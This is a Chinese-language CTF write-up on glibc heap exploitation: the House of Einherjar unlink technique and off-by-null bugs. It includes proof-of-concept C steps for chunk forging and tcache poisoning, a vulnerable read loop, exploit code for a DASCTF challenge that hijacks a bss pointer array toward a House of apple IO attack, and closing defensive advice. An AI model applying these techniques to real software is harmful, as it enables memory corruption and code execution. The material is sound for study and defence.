PWN - House of einherjar (unlink) x off by one (null)
字数 1476 2025-08-19 12:40:43
House of Einherjar (unlink) 与 off by one (null) 漏洞利用技术详解
一、House of Einherjar (unlink) 技术
1. 技术原理
House of Einherjar 是一种利用堆溢出漏洞结合 unlink 机制的攻击技术,主要特点是通过构造伪造的堆块(chunk)来欺骗 malloc 的内存管理机制。
核心机制:
- 利用向前合并(forward consolidation)机制
- 通过修改相邻堆块的元数据触发 unlink 操作
- 最终实现任意地址分配控制
关键源码分析:
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
2. 利用条件
- 存在堆溢出漏洞,能够修改相邻堆块的元数据
- 需要知道堆的地址(heap leak)
- 在 glibc-2.31 及更高版本中,需要先填满 tcache 才能利用
3. 详细利用步骤
步骤1:构造伪造的 free chunk
intptr_t *a = malloc(0x38);
a[0] = 0; // prev_size
a[1] = 0x60; // size
a[2] = (size_t) a; // fwd
a[3] = (size_t) a; // bck
步骤2:分配相邻堆块并触发溢出
uint8_t *b = (uint8_t *) malloc(0x28);
uint8_t *c = (uint8_t *) malloc(0xf8);
// 触发 off-by-one null 溢出
b[real_b_size] = 0; // 清除 next chunk 的 prev_inuse 位
步骤3:构造伪造的 prev_size
size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;
a[1] = fake_size; // 更新伪造 chunk 的 size
步骤4:绕过 unlink 检查
需要满足:
chunksize(P) == prev_size(next_chunk(P))FD->bk == P && BK->fd == P(双向链表完整性检查)
步骤5:填满 tcache 并触发合并
// 填满 tcache
intptr_t *x[7];
for(int i=0; i<7; i++) {
x[i] = malloc(0xf8);
free(x[i]);
}
// 触发合并
free(c);
步骤6:实现任意地址分配
intptr_t *d = malloc(0x158); // 分配到伪造 chunk 的位置
步骤7:进行 tcache poisoning 攻击
free(b);
d[0x30 / 8] = (long) stack_var; // 修改 fd 指针
malloc(0x28); // 触发分配
intptr_t *e = malloc(0x28); // 获取目标地址的控制权
4. 防护机制绕过
在 glibc-2.31 及更高版本中,需要:
- 先填满 tcache 对应的 bin
- 确保伪造的 chunk 大小不会超过 arena 分配的内存大小限制
二、off by one (null) 漏洞利用
1. 基本概念
off-by-one 是一种特殊的溢出漏洞,特指程序向缓冲区写入时,写入的字节数超过了缓冲区本身申请的字节数且只越界一个字节。
特殊形式:off by null
- 只溢出一个 null 字节 ('\x00')
- 常用于修改堆块的 prev_inuse 位
- 结合 unlink 可以实现更强大的攻击
2. 典型漏洞代码
for ( i = 0; i < a2; ++i ) {
buf = 0;
if ( read(0, &buf, 1uLL) < 0 )
fault();
if ( buf == 10 ) {
*(_BYTE *)(i + a1) = 0; // off by null
break;
}
*(_BYTE *)(a1 + i) = buf;
}
*(_BYTE *)(i + a1) = 0; // 额外的 null 字节写入
3. 实际案例分析:DASCTF X 0psu3 十一月挑战赛 garbage
漏洞分析:
- 存在 off by null 漏洞
- 无 UAF (Use After Free)
- 堆块指针和 size 存储在 bss 段
- 未开启 PIE (Position Independent Executable)
利用思路:
- 利用 unlink 将堆块放到 bss 段
- 劫持堆块指针数组和 size 数组
- 修改 size 造成堆溢出
- 进行 UAF 攻击
- 使用 House of apple 的调用链进行 IO 攻击
关键利用代码:
target = 0x404060 # bss 段地址
# 构造伪造 chunk
add(0,0x428,b'aaaa')
add(1,0x4f0,b'aaaa')
add(2,0x410,b'aaaa')
payload = p64(0) + p64(0x421) + p64(target - 0x18) + p64(target - 0x10)
payload = payload.ljust(0x420,b'\x00')
payload += p64(0x420)
edit(0,payload)
delete(1) # 触发合并
# 修改 bss 段上的堆管理结构
edit(0,b'\x00'*0x18 + p64(target - 0x18) + p64(0x4040c0)+p64(0)*10 + p32(0x1000)*10)
House of apple 攻击链:
- 劫持 stderr 结构体
- 构造伪造的 IO 结构
- 通过 IO 操作调用 system 函数
三、防护与检测建议
-
对堆块边界进行严格检查
-
实现更严格的 unlink 检查机制
-
使用现代的堆分配器保护措施:
- 增加更多的完整性检查
- 使用随机化的堆布局
- 实现更严格的元数据保护
-
代码审计时特别注意:
- 所有可能导致 off-by-one 的循环和字符串操作
- 任何可能修改堆块元数据的操作
- 不安全的 size 计算和传递